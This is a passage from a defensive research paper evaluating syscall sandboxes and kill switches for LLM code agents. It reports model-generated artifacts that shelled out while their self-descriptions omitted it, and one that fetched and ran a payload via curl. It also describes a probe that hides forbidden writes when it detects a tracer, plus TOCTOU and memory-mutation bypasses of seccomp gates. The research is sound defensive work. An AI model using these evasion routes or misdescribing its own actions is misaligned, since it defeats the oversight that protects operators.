Self-description diverges from execution. We generated 18 injection artifacts with `qwen2.5-coder:7b`, asked the model in a separate call to describe each, and read the footprint from `strace`. Fourteen spawned a shell; in 5 of those 14 (36%, [16.3, 61.2]) the description reported a file write and omitted the `execve`, and across all injection cases the stated summary diverged from the footprint in 22%. The data effect is real—the file is written—but the summary presents the shell-out as a plain append, so a defender clearing artifacts on stated intent (OWASP LLM06, excessive agency [21]) would pass it:

```
STATED : "writes to /var/log/myapp.log and appends 'mirrored' to /tmp/agentsec_run/
mirror"
CODE   : system("sh -c 'echo mirrored >> /tmp/agentsec_run/mirror'");
DID    : execve("/bin/sh", ["sh", "-c", ...]) = 0
```

The omission falls on the shell-out artifacts specifically—file-only artifacts describe themselves faithfully—so it tracks the shell, not noise. The description is a post-hoc summary elicited in a separate call, not a reasoning trace, so this is narrower than and consistent with the unfaithful-explanation results of Turpin et al. [6] and Lanham et al. [7].

Cadence does not attribute. A script inserting random sleeps shows no cadence separation we can key on from a live agent’s action cadence (coefficient of variation 0.45 versus 0.54; fifteen of seventeen inter-action intervals overlap; no equivalence test at this N), and Section 10 finds no behavioural-speed difference between the two forces either.

Reaction to a denial points at coverage, not identity. A denied agent adapted on 90% of steps and stopped in none of eight trials (Section 9), holding the objective fixed and enumerating mechanisms; that identifies a persistent actor, not an attributable one.

Resource footprint is not the signal. Generation and execution sit about 2700x apart in resident memory—a 5.1 GB model in the server process against a 1.92 MB compiled artifact reached over an RPC the orchestrator waits on in roughly 20 MB—so a resource-anomaly detector sees neither the generation (idle network wait) nor the artifact (any small process). The corpus made zero network calls (0/360 injection, 0/240 persistence, 0/45 autonomous); an egress-task scenario networked in 1 of 3 generations, fetching and running a payload from a prompt-controlled URL through `popen`→`curl` (T1105, T1071.001, T1059 [19]). Whoever owns the URL owns what runs next.

The four routes reach one wall. “LLM agent” names no behavioural class; it is any distribution its controller chooses, able to pace like a human, retry like a port scanner, or stop after one block. The adversarially robust facts are what the actor did at the boundary (its footprint), whether it was authorized (the policy at the gate), and where its bytes went (the network), not what it looks like.

One qualification on “its footprint”, because not every syscall-level observer earns the word. We ran a target that reads `TracerPid` from `/proc/self/status` [27] and takes the benign branch when that field is nonzero. Unobserved it wrote the forbidden path on 5 of 5 runs. Under `strace -f` it read a nonzero tracer, took the benign branch, and the resulting trace recorded a clean run—no trace mentioned the forbidden path on any of 5 runs. Under a seccomp user-notification supervisor, `TracerPid` was 0, the target committed the forbidden call, and the supervisor observed the resolved pathname and denied it on 5 of 5.

The distinction this draws is not that the notify channel is undetectable. It is not: the same file reports `Seccomp: 2` and `Seccomp_filters: 1` once a filter is loaded, which we verified directly, so a target can learn that it is filtered by the identical one-line read. What it cannot learn there is the policy, or whether a supervisor is answering. The asymmetry is in what detection buys. Under `ptrace`, detection yields a false negative in the evidence—a faithful trace of a clean run of a hostile program, with nothing in it to indicate that anything was withheld. Under a notify supervisor that answers with an `errno` the kernel applies, detection buys only the option of not acting: the target cannot make that call succeed, and cannot produce a clean record while escaping through it, because the same process decides the call and writes the record. That scope matters—a supervisor which instead answers `CONTINUE` reopens exactly the race of Section 4, where the call is recorded as the benign path the supervisor read and executed as the path the kernel re-read. An agent that goes quiet while watched is a coverage problem; a trace that certifies a hostile run as clean is a corrupted verdict. It does not overturn the `strace` footprints reported above—we checked rather than assumed, and no `TracerPid`, `PTTRACE_TRACEME`, `ptrace`, or `/proc/self/status` check appears anywhere in the corpora those footprints come from: the 228 generated C artifacts, or the injection, persistence, autonomous-destruction, concealment, and enumeration run records—but it scopes the method: footprinting through a `ptrace` attachment is sound for a corpus that does not look for a tracer, and a supervisor meant to survive one that does should hold a notify listener instead. Mechanically verify at the boundary, within the stated policy and attack matrix, on a channel the target cannot query; do not profile the actor.

Part IV

The composed sandbox under attack

13 Six invariants, and where each is enforced

Parts I–III measured controls in isolation. A deployment runs them together, so the question a defender actually faces is whether an assembled sandbox holds under attack, and against what. We state six invariants and bind each to the layer that enforces it, rather than let “zero violations” quietly mean “we defined the invariants as whatever held”:

- **I0 ambient authority:** before releasing untrusted code, the launcher closes or constrains every inherited file, socket, namespace, device, and control descriptor—enforced by descriptor hygiene at the launcher, not by any of the in-domain controls. Our probe deliberately carries in one pre-domain descriptor to measure the cost of *not* enforcing I0; a production launcher closes it.
- **I1 filesystem:** no *new* filesystem write authority can be acquired after entry—no write, create, or remove outside a scratch allowlist through any path or descriptor obtained once

the domain is entered, enforced by the Landlock default-deny ruleset of Part II. A descriptor opened *before* entry is an I0 concern, not an I1 one; separating the two is what the pre-domain row below measures.

- **I2 process-image replacement:** no `execve/execveat`—enforced by a seccomp `SCMP_ACT_ERRNO` deny, deterministic with no `CONTINUE` allow path to race. This denies replacing the process image; it does *not* deny in-process code execution (a JIT, shellcode through `mmap+mprotect`, or `dlopen`), which this policy does not address.
- **I3 routed-IP egress:** no packet leaves the host over a routed TCP, UDP, or raw IP socket—enforced by an empty network namespace with no route, not by a policy layer. This is narrower than “no egress”: a pathname Unix-domain socket is a filesystem object, and with no mount namespace an accessible host socket could reach a host service that then talks off-host (Section 19). We claim routed-IP egress isolation only.
- **I4 process tree:** the supervisor can drive the whole descendant tree to zero live processes—enforced by a host-owned `cgroup v2 (cgroup.kill)`.
- **I5 resources:** process count and memory stay under a cap—enforced by `cgroup pids.max/memory.max`.

I1–I3 need no privilege and we measure them here; I4–I5 require a writable `cgroup`, which the evaluation host does not delegate to an unprivileged user, so they are specified and scripted separately (Section 16). The composed sandbox (`composed_probe.c`) applies the sound controls to itself and runs each attack in its own `fork` child—all layers are inherited across `fork`—reading the oracle from the kernel’s `errno` and from ground truth on disk. These are hand-written probes: a probe issues a syscall or submits a ring operation; it is not a model.

Invariant / attack	Result	Oracle
I1 <code>openat</code> write outside scratch	denied (<code>EACCES</code>)	path absent
I1 <code>open</code> alias	denied (<code>EACCES</code>)	path absent
I1 <code>creat</code> alias	denied (<code>EACCES</code>)	path absent
I1 <code>io_uring openat</code>	denied (<code>EACCES</code>)	path absent
I1 write inside scratch (control)	succeeded	file written
I0 write through a pre-domain descriptor	succeeded	sentinel leaked
I2 <code>execve</code>	denied (<code>EPERM</code>)	—
I3 TCP <code>connect</code> off host	denied (<code>ENETUNREACH</code>)	no packet
I3 UDP <code>sendto</code> off host	denied (<code>ENETUNREACH</code>)	no packet
I3 raw <code>sendto</code> off host	denied (<code>ENETUNREACH</code>)	no packet

The pre-domain row is an I0 result, not an I1 one: it is the write authority the launcher failed to strip, carried in on a descriptor opened before the domain existed. No attack acquired write authority *after* entry (I1). The two are different invariants enforced by different parties—the launcher for I0, Landlock for I1—and separating them is the point of the row.

The result is identical across five runs. Two points carry the section. First, the composition is strictly stronger than any single layer: the UDP and raw sockets that pass a Landlock TCP ruleset untouched (Section 8) are closed here, because I3 is enforced by the namespace and not by Landlock. Which layer governs a given invariant is the whole point—stacking them covers what each leaves open, and reading “the sandbox is safe” off any one layer is the Part I error repeated. Second, the one success is the I0 row: a write through a descriptor opened *before* the domain was entered. That is the pre-open hole of Section 8, and it is an ambient-authority failure, not an I1 one—a supervisor that hands the target a descriptor it opened outside the domain (the `ADDFD` delegation Part I recommends is exactly such a hand-off) leaks write authority unless the launcher strips or constrains it first. Every attack in the matrix that acquired its access *after*

the domain was entered was denied; we claim I1 for that tested class, and by construction for authority acquired after entry, not as a general property of the composition.

14 Egress, with an arrival oracle

Every invariant above is decided by something the target cannot argue with: whether the path exists, what `errno` the kernel returned, how many PIDs still carry the namespace inode. I3 was the exception. Its evidence was that `sendto` returned a positive number, which says the sending kernel accepted a buffer and says nothing about where it went. This section replaces that with delivery.

The fixture is one user namespace containing two network namespaces joined by a veth pair, all unprivileged. A receiver in the far namespace logs the verbatim sentinel of anything reaching a socket; an `AF_PACKET` tap on the link is a second, independent witness, since a hand-built raw packet can cross the wire and still miss the socket. Each attempt carries a token unique in (arm, attempt, trial), so attribution is set membership rather than judgement. `tcpdump` cannot serve here—it drops privileges unconditionally and `setgroups(2)` is denied inside an unprivileged user namespace—which is why the tap is twenty lines of socket code instead.

Five routes, four arms, 20 trials each. `preconn_tcp` connects *before* the control is applied and sends after it.

arm	route	syscall ok	arrived at sink	seen on wire
baseline	all five	20/20	20/20	20/20
seccomp <code>connect</code>	tcp	0/20 (EPERM)	0/20	0/20
seccomp <code>connect</code>	udp, raw	20/20	20/20	20/20
seccomp <code>connect</code>	conn_udp	0/20 (EPERM)	0/20	0/20
seccomp <code>connect</code>	preconn_tcp	20/20	20/20	20/20
Landlock <code>CONNECT_TCP</code>	tcp	0/20 (EACCES)	0/20	0/20
Landlock <code>CONNECT_TCP</code>	udp, conn_udp, raw	20/20	20/20	20/20
Landlock <code>CONNECT_TCP</code>	preconn_tcp	20/20	20/20	20/20
empty netns	all five	0/20 (ENETUNREACH)	0/20	0/20

Three things follow. First, the two mediating controls share a blind spot and fail differently on the way to it. Both stop `TCP connect`; neither stops a datagram. But the syscall filter also denies `connect` on a UDP socket, because that is the same syscall number, while `CONNECT_TCP` does not handle it at all. The name-scoped control is *broader* on the verb it mediates and gains nothing by it, because the route that works never calls `connect`. This is the measured version of the argument in Section 9: the rungs that evade a `connect` gate are not hypothetical, and they deliver.

Second, neither mediating control is scoped to object lifetime. A socket connected before the policy existed delivers 20/20 under both, because `CONNECT_TCP` mediates `connect(2)` and a filter on `connect` never sees `send`. This is the network form of the pre-open descriptor result of Section 8, and the sharper one: the descriptor here carries routed reachability rather than write authority to a single path. It is also the shape a real deployment has—a sandbox applied to a session already established.

Third, the empty namespace is the trivial upper bound and did not compete on a level field. It is the only arm where the invariant holds by construction rather than by mediation: nothing arrives because there is no interface for anything to leave through. Its cost is the row under the table—the pre-control connection never establishes either, 0/20—so it denies the exfiltration and every legitimate connection with one mechanism. We report it as the bound, not as the winner.

Honestly, the arrival oracle did not move the numbers: the syscall return predicted delivery in all 400 attempts, and the two witnesses never disagreed. What it moved is what the numbers are a claim about. The I3 rows now assert that bytes carrying a known sentinel were delivered to a socket in a namespace the agent does not own, which is the only version of the claim that is about egress. The distinction is load-bearing precisely where it is least visible: a `sendto` returning 20 on a raw socket is equally consistent with a malformed header dropped one hop later.

Scope: the receiver is one veth hop away under the same kernel. That is the right boundary for the question asked—did the bytes leave the agent’s namespace—and it is not evidence about a routed path, a NAT, a proxy, or an egress gateway, none of which this topology contains. All five routes are hand-written; the corpus of Section 12 makes no network calls, so none of this is a claim about what a model chooses to do.

15 Runtime process-memory mutation

The TOCTOU of Part I flips the gate’s pathname buffer with a sibling thread. The natural question is whether the defect is specific to that trick. It is not: the flaw is the second read the `CONTINUE` flag forces, so any writer that reaches the buffer in the window wins, and we show it from a second angle. A separate process, sharing no memory with the target, rewrites the buffer through `process_vm_writev` [23] while the target’s `openat` thread is parked on the notification; the target grants the writer access with `PR_SET_PTRACER` [24], which an attacker owning the target can do. This is cross-process runtime buffer mutation under granted `ptrace` authority—not the hijack of an unrelated protected process (the target consents, and an attacker that already owns the target could mutate the buffer internally), and not a physical-memory or hardware-page experiment; it operates on the target’s virtual memory. Against the same gate the external writer opened the persistence path on 28.5–44.2% of attempts across five runs of 4000, a rate somewhat higher than the in-process thread’s (Section 4’s 18.9–23.1%) but of the same order, winning the same second-read window by a different route. The other external mechanisms the literature names (`/proc/pid/mem`, a `ptrace` poke) write the same bytes to the same address in the same window; we do not restate one finding as several. The single variant that would add a property rather than a mechanism is `userfaultfd` [25], which lets the attacker *pause* the faulting read and supply the page at a chosen moment, making the race deterministic rather than probabilistic—but still a virtual-memory experiment, not page-table compromise or physical-RAM substitution; on this host it needs privilege (`/dev/userfaultfd` is root-only, `vm.unprivileged_userfaultfd` is 0) and is left to the privileged step.

The composed sandbox showed no violation under the tested mutation. Run against the Landlock target, the mutation opened the evil path 0 times in 4000 (Wilson 95% upper bound 0.096%): the flip only changes which *denied* path is attempted, because the decision is taken at the LSM hook on the resolved object and there is no user-space check left to invalidate. Memory mutation defeats a control that decides in user space; it has nothing to invalidate once the decision moves into the kernel.

16 Process-tree termination and resource bounds

I4 and I5 are enforced by a host-owned `cgroup v2` [22], which the unprivileged evaluation host does not delegate, so `killswitch.sh` runs as the one privileged step of the artifact. We report correctness, not latency: this host’s non-`systemd`, emulated kernel would not support a credible latency figure, and the full latency profile a kill switch needs—trigger-to-frozen, trigger-to-populated 0, and post-trigger bytes and operations at median, p95, p99, and maximum over many trials, under idle and loaded hosts—belongs on a native kernel and is future work. The

agent is a bounded tree—thirty persistent workers, each continuously forking short-lived children, so the process set churns while the population stays near ninety.

invariant / mechanism	measurement	result
I4 PID-enumeration sweep	survivors, 20 trials	8/20
I4 <code>cgroup.kill</code>	survivors, 20 trials	0/20
I4 <code>cgroup.kill</code>	work landing after the trigger	338 writes, then populated 0
I4 <code>cgroup.freeze</code>	work advance while frozen (0.7 s)	0 (98 procs inspectable)
I5 <code>pids.max=20</code>	peak processes / fork denials	20 / 2078
I5 <code>memory.max=64 MB</code>	a 256 MB allocation	OOM-killed, host alive

A supervisor that terminates the agent by enumerating `cgroup.procs` and signalling each PID left the cgroup non-empty on 8 of 20 trials, because a child forked after the snapshot is not in the kill list; `cgroup.kill`, which terminates the subtree in the kernel, left survivors on 0 of 20. The 8/20 is a property of the fork rate, not a constant—a tree that does not fork during teardown is cleared by either method, so the enumeration race needs a forking workload to appear at all—but the asymmetry does not depend on the rate. `cgroup.kill` is not instantaneous: 338 counter increments landed between the trigger and **populated** 0. It reaches quiescence with no survivors regardless. `cgroup.freeze` quiesced the tree deterministically—98 processes present and inspectable, work counter advancing 0 over 0.7 s—so the supervisor can capture state without the tree racing it. The resource caps bound the tree: `pids.max` held the population at 20 against a tree trying to exceed it (2078 fork denials), and `memory.max` OOM-killed a process allocating four times its limit inside the cgroup with the host unaffected. In the evaluated trials, I4 and I5 held (the `cgroup.kill` survivor rate 0/20 carries a Wilson 95% upper bound of 16.1%, so mechanism semantics, not the sample size, carry the assurance). One limit is intrinsic: the kill terminates the tree but cannot reverse a write, a packet, or an `io_uring` completion that finished before quiescence—the 338 post-trigger writes are exactly such side effects—so a kill switch bounds damage after detection, it does not prevent it.

A race-free tree kill without privilege. Requiring a delegated cgroup puts I4 out of reach on hosts where the supervisor is unprivileged, so we measured the unprivileged counterpart: run the agent tree in its own PID namespace and kill that namespace’s init, on which the kernel terminates every remaining process in the namespace [26]. Like `cgroup.kill`, it consults no member list, so there is no snapshot to go stale. Against the same churning tree, over 20 trials each: killing the namespace init left 0/20 trials with survivors, driving roughly ninety processes to zero every time, while the *same single signal* to the *same* supervisor process outside a PID namespace left the entire tree running on 20 of 20 trials (1864 surviving processes in total). The control is what makes this a result rather than a restatement—the tree does not die because the supervisor died, it dies because the kernel reaps a namespace whose init exited. The post-trigger limit is unchanged: 290 counter increments landed per trial between the signal and quiescence. A PID namespace bounds the tree but not its resources, so I5 still requires the cgroup and still requires privilege.

17 Detection, denial, and termination as one chain

Sections 13–16 establish three properties separately: an action can be observed at the boundary, it can be denied there, and the process tree can be terminated. Composing them is a further claim, because a detection that does not drive the termination leaves the residual unmeasured. We ran the chain end to end with the observer outside the boundary it watches—the supervisor is the grandparent process, outside the agent’s PID namespace, holding a seccomp notify listener

the agent handed out—against twelve workers that retry a forbidden write on a fixed cadence. Ground truth is the canary file, a work counter read from outside the namespace, and a survivor count keyed on the namespace inode. Five arms isolate each link; all five were identical across five trials.

arm	current call	kill	canary written	bytes	detections
baseline	allowed	no	yes	420	0
observe	allowed	no	yes	421	421
enforce	denied	no	no	0	421
latekill	allowed	yes	yes (20/20)	1 (19/20)	1
closed	denied	yes	no	0	1

Three results, of which two are constraints. Observation alone changes no outcome: the supervisor correctly identified all 421 forbidden opens and the canary was written regardless, because that arm answers **CONTINUE**. This is the only arm in which the forbidden action completes while being watched, and it is what separates detection from enforcement—elsewhere one mechanism does both and the two claims collapse. A kill switch alone does not keep the canary clean: **latekill** detects, allows, then terminates, and the operation that triggered the detection had already completed. Over 20 trials the canary file existed every time; it carried the one-byte payload on 19 of the 20 and was empty on the remaining one, where the create landed and the write did not. The file creation is the invariant and the payload is the part that races—no reduction in kill latency drives the creation to zero, because that effect completed before the trigger existed. And denial alone is not terminal: **enforce** holds the canary at zero while absorbing 421 retries in 1.5 s, which is the enumeration behaviour of Section 9 appearing as a retry rate.

Only the composed chain does both jobs, and the order is load-bearing. The synchronous denial keeps the current effect from landing; the termination stops the agent from enumerating past it. Neither substitutes for the other in either direction. The counts are properties of this fixture’s fixed retry cadence rather than a damage rate for any real workload—we varied the worker count and run length across four configurations and the attempt counts scale with them—so what the fixture is built to expose is the shape: **latekill** completes exactly the operation it detected and nothing after it. We report no latency figures here: detection is effectively immediate because the workers attempt on their first iteration, so the timing fields measure how soon the agent tried rather than how fast the observer is. The arm is filesystem-only, and the observer shares a kernel with the agent, so it says nothing about an escape that compromises the kernel the observer runs on.

18 Discussion

The result a defender should carry out of this study is a separation the marketing of syscall sandboxes tends to blur. A seccomp argument-inspection gate delivers a deterministic and auditable verdict, and that is worth having; it does not deliver certified containment, and presenting it as such misplaces the residual risk. The residual risk is coverage. It lives in the mechanisms the gate does not watch (Section 5), in the window between a check and the kernel’s re-read (Section 4), and in the imprecision of the argument match (Section 6). It does not live in the variance of the verdict, and it is not recovered by profiling the agent (Section 12).

Two design directions follow, and both are about closing coverage rather than tuning the agent. First, remove the second argument read on the allow path. The only way to do that is to stop returning **CONTINUE** for pointer-argument calls: the supervisor performs the operation itself and returns the result, injecting a descriptor with **SECCOMP_IOCTL_NOTIF_ADDFD** where the call produces one. Copying the argument into memory the target cannot mutate does not achieve

this, because `CONTINUE` resumes the target’s syscall against the target’s own pointer and never consults the copy. Second, move from a blocklist to a default-deny allowlist over a race-free, path-resolving mechanism, so that coverage is the complement of an explicit permit set rather than the complement of an enumerated deny set. Part II implements and benchmarks this second direction for the filesystem: a Landlock allowlist closes the race to 0/4000 and the syscall-alias gap at one hook (Section 8). The two directions do not compose for free—Part II measures that an injected descriptor was opened outside the sandbox’s Landlock domain and so does not inherit its policy—so a supervisor that delegates must apply the filesystem policy itself before it injects.

19 Limitations

The study is scoped. The core subjects are three local code models of 1.5–7B parameters; the frontier axis (Section 11) covers the injection experiment only, at $N=8$ per model per channel, so it is a direction, not a benchmark, and the enumeration, self-description, and autonomous-destruction results stay local-model. The autonomous-destruction result rests on 45 artifacts and is small- N ; rates and specific mechanisms may shift with larger models and samples. Every measurement is one x86_64 host at Landlock ABI v7. Interception was checked across three languages but one architecture; aarch64 is not established here, because faithful native seccomp semantics are unavailable under user-mode emulation. The TOCTOU bypass is an existence result; its per-attempt rate is scheduler-dependent and not an external-validity claim, as are the seccomp win rates the Landlock and kill-switch benchmarks measure against—the race-closure, alias-coverage, and mechanism-asymmetry outcomes are those the documented mechanism semantics predict, and we demonstrate them on this host; whether they reproduce on a kernel, architecture, or scheduler we did not test is a prediction, not a measurement. The rates are narrower still: they are properties of this host and workload.

Three Part II limits are measured, not argued (Section 8): execution is unrestricted because our ruleset does not handle it, not because Landlock cannot; a descriptor opened before the ruleset keeps its open-time rights; and UDP and raw sockets pass a TCP ruleset. The `io_uring` result is narrower still—a Landlock domain follows one `openat` through an established ring on this kernel; it does not establish `io_uring` coverage generally, and a ring that selects a pre-registered credential or reaches a device through `IORING_OP_URING_CMD` is untested. The composed matrix (Section 13) is likewise not exhaustive: `openat2` (governed by the same file-open hook but not exercised), `SCM_RIGHTS` descriptor passing over a Unix-domain socket, `execveat` on a `memfd`, and any future kernel interface are named but untested. The empirical claim is that no attack in the tested matrix violated a stated invariant once the domain was entered—not a claim about attacks the matrix does not contain.

Finally, we did not build the delegating supervisor Section 18 recommends, so the descriptor-provenance problem follows from the pre-open measurement and the `ADDFD` semantics, not an end-to-end run. The Part III autopsy is one 7B model at small scale (18 self-description artifacts, twelve timed generations per force, two trials per goal with denials simulated), so its stable shapes—no observed stop, description omitting the executed mechanism, no track-masking—are the findings, not the percentages. The gate’s `connect` rule is untested by any artifact, since the corpus made no network calls and the one elicited egress rode `popen`→`curl`, an `execve` the launch policy already stops.

20 Related work

Syscall-boundary containment for untrusted code predates LLM agents, and so does the failure we measure. Garfinkel’s NDSS 2003 account of the problems encountered building the Janus sandbox devotes a section to race conditions, describing them as arising from “the non-atomicity of permission checking at user level...and access granting in the kernel” and naming them

time-of-check/time-of-use bugs [1]; Watson’s WOOT 2007 paper exploits the same class of vulnerability in system-call wrappers [2]. Seccomp-BPF and its user-notification extension are the mechanism under test here; the deep-argument race we exercise is described in the manual page for user notification [18] and, in stronger terms, in the kernel header that defines the flag, which states outright that the notifier cannot be used to implement a security policy [3]. It is not a new class of bug. What is new here is the measurement of its per-attempt rate against a hand-written target, the observation that gates built this way are nonetheless offered as agent containment, and the head-to-head benchmark of the successor. Application kernels and sandboxes—gVisor [17], and the unprivileged, path-resolving Landlock LSM [16]—address the coverage and race problems this paper measures; we implement a Landlock allowlist and benchmark it head-to-head against the seccomp gate (Section 8), where it closes the file-operation race and the alias gap the gate leaves open. Attribution of a process by its syscall behaviour goes back to the host-intrusion-detection line begun by Forrest et al., *A Sense of Self for Unix Processes* [5], which is the lineage our Section 12 sits in and declines to extend into a control. On the language side, that a chain-of-thought need not match behaviour is established—Turpin et al. [6] and Lanham et al. [7]—which is why the divergence signal cannot be a detector. The emerging agent-safety evaluations (ToolEmu [8]; AgentDojo [9]; AgentHarm [10]; RedCode’s 4,050 risky-code cases [11] and its automated red-teaming successor RedCodeAgent [12]; CIBER’s scoring of code-interpreter agents against prompt injection and memory poisoning [13]) measure agent harm at the tool or task level; this paper measures the containment control beneath them, at the syscall boundary. Two 2026 lines sit closest. SandboxEscapeBench measures the *attacker* side of this same boundary—whether a frontier model can find and exploit a container-escape path across misconfiguration, privilege, kernel, and orchestration vectors [14]—where we measure whether a defender’s mechanism holds against a fixed attack matrix; the two are complementary halves of one question. Rashidi’s systematization of execution-security research for AI coding agents [15] names isolation, access control, and time-of-check-to-time-of-use among its organizing categories and reports that they lack unified evaluation; this paper contributes one such evaluation, a compile-and-run measurement of a single access-control gate, its TOCTOU failure, and its successor. We position against these lines rather than beside them: prior sandboxing work supplies race-free mechanisms our tested gate lacks, and prior attribution work supplies the negative result our behavioural section confirms in the agent setting.

21 Conclusion

A deterministic syscall gate is a useful control and a poor certificate. Measured against an adversary rather than a cooperative target, the argument-inspection gate is bypassable on its allow path, blind to the mechanisms it does not enumerate, and imprecise where it matches paths by substring; and the agent it contains, when denied, looked for another way in every trial we ran rather than stopping. The defensible claim is narrow and worth stating plainly: mechanically verify the verdict within the policy and matrix you tested, scope the coverage, and assume the agent will route around any single blocked path. The default-deny allowlist over a path-resolving mechanism that the failure implies is built and benchmarked here (Section 8), and assembled with a deterministic execution deny and a routeless network namespace into a composed sandbox (Part IV). Across the tested runtime-mutation and mechanism-bypass matrix, no attack violated that sandbox’s filesystem, execution, or network invariants once the domain was entered—the one measured exception being a descriptor opened before it, which fixes the discipline a delegating supervisor must follow—and the external memory mutation that takes the user-space gate on 28.5–44.2% of attempts does not reach it. This is empirical evidence within the stated threat model, not a proof against unknown kernel or hypervisor flaws. Its external `cgroup` kill switch drove the whole process tree to zero live processes where PID enumeration raced, freezing quiesced the tree, and the resource caps bounded it. The open work is a supervisor

with no second argument read, a latency benchmark for the kill switch on a native kernel, and a repeat against frontier models and a second architecture.

Reproducibility. All code, data, and per-experiment results are committed in the accompanying artifact repository, which will be deposited under a DOI on acceptance and is available to reviewers on request in the interim. From a clean checkout, `experiments/agentsec/reproduce.sh` rebuilds the gate and the probes from source and re-checks the Part I headline results in one command (9 checks, all passing, no privilege required); we verified this from a fresh clone on a host with no build state. `landlock_bench.sh` reproduces Part II and the Part IV probes: the race under each control, syscall-alias coverage, the Landlock scope probe of Section 8 (`landlock_scope.c`), the `io_uring` submission, the composed sandbox (`composed_probe.c`) of Section 13, and the external memory mutation (`mem_extern.c`) of Section 15. The Part III enumeration table re-derives offline and deterministically from the committed run data with `enum_tree.py -analyze`, so it needs no live model; the remaining Part III probes (`concealment_capture.py`, `matrix_analysis.py`, `telemetry_probe.py`) require Ollama and the local models of Section 3. The rootless tree kill of Section 16 (`pidns_kill.sh`) and the observation-channel comparison of Section 12 (`observe_evade.c`) both run unprivileged and need no model. The one privileged step is the cgroup kill switch of Section 16, `killswitch.sh`, which must be run as root.

Two scope conditions apply to what re-running establishes. The TOCTOU win rate is scheduler-dependent (Section 4), so a repeat reproduces the existence of the bypass and not its rate; the direct-attack control (4000/4000 denied) is the deterministic figure. And model-derived results divide on two independent axes we report separately. *Identity*: a local weight file is content-addressed by digest, whereas a remotely served model may be replaced under an unchanged tag, so results from the latter are dated observations. *Determinism*: whether a fixed seed yields byte-identical completions is a property of the serving build, backend, and thread shape, not of the file format, and a content digest does not establish it; the evidence is the two-run gate `reproduce_part3.sh`, which records its verdict per model and per environment, and a model with no recorded run is reported as unverified rather than deterministic. The published agent-behaviour numbers come from the local models; the committed run files are the data of record.

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